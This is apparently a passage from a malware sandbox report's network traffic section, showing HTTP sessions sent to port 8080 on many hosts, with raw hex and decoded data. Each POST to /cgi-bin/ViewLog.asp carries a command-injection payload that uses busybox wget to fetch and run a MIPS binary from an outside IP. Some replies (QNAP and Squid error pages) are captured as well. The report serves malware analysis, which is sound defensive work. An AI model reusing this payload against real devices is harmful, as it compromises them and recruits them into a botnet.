2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 6c 69 6e 6b 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 76 69 73 69 74 65 64 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 31 7b 0a 77 69 64 74 68 3a 20 39 38 30 70 78 3b 0a 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 42 43 42 43 42 43 3b 0a 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 5f 69 6d 67 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="Cache-Control" content="no-cache" /><meta http-equiv="Pragma" content="no-cache" /><meta http-equiv="Expires" content="-1" /><link rel="shortcut icon" href="/images/favicon.gif" type="image/gif" /><link rel="icon" href="/images/favicon.gif" type="image/gif" /><style type="text/css">body{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;background: #FFFFFF url('/cgi-bin/images/error/err_bg.jpg');overflow: hidden;color: #A4A3A3;text-align: center;}.qnap_hyperlink a,.qnap_hyperlink a:link,.qnap_hyperlink a:visited{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;color: #A4A3A3;}.qnap_bar1{width: 980px;border-bottom: 1px solid #BCBCBC;padding-top: 10px;text-align: left;margin: 0 auto;}.qnap_bar_img{padding-bottom:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                335192.168.2.153385662.87.204.828080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.365621090 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:24.579329014 CET403INHTTP/1.1 500 Internal Server Error
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 130
                                                Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                336192.168.2.154469231.22.116.1718080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.491749048 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                337192.168.2.153962462.151.4.38080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.572328091 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:24.781044960 CET308INHTTP/1.0 302 Found
                                                Server: httpd
                                                Date: Thu, 23 Nov 2023 04:21:31 GMT
                                                Location: index.htm
                                                Pragma: no-cache
                                                Cache-Control: no-cache,no-store,must-revalidate, post-check=0,pre-check=0
                                                Expires: 0
                                                CONTENT-LANGUAGE: en
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                338192.168.2.153954431.132.1.2538080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.720464945 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:24.892941952 CET1340INHTTP/1.1 400 Bad Request
                                                Server: squid/3.5.20
                                                Mime-Version: 1.0
                                                Date: Thu, 23 Nov 2023 04:21:24 GMT
                                                Content-Type: text/html;charset=utf-8
                                                Content-Length: 3454
                                                X-Squid-Error: ERR_INVALID_URL 0
                                                Connection: close
                                                Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20
                                                Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. *//* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License*//* Page basics */* {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                339192.168.2.154667631.44.141.818080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.725841999 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                340192.168.2.155617094.120.234.528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.730009079 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                341192.168.2.154885231.136.132.1348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.734194994 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:25.306694031 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:26.458703041 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:28.890613079 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:33.498598099 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.714473963 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:02.169708014 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:39.032681942 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                342192.168.2.153899495.98.191.898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.745131969 CET1340INHTTP/1.0 400 Bad Request
                                                Server: http server 1.0
                                                Content-type: text/html
                                                Date: Thu, 23 Nov 2023 04:21:19 GMT
                                                Last-modified: Thu, 23 Nov 2023 04:21:19 GMT
                                                Accept-Ranges: bytes
                                                Connection: close
                                                Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 20 75 72 6c 28 27 2f 63 67 69 2d 62 69 6e 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2f 65 72 72 5f 62 67 2e 6a 70 67 27 29 3b 0a 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 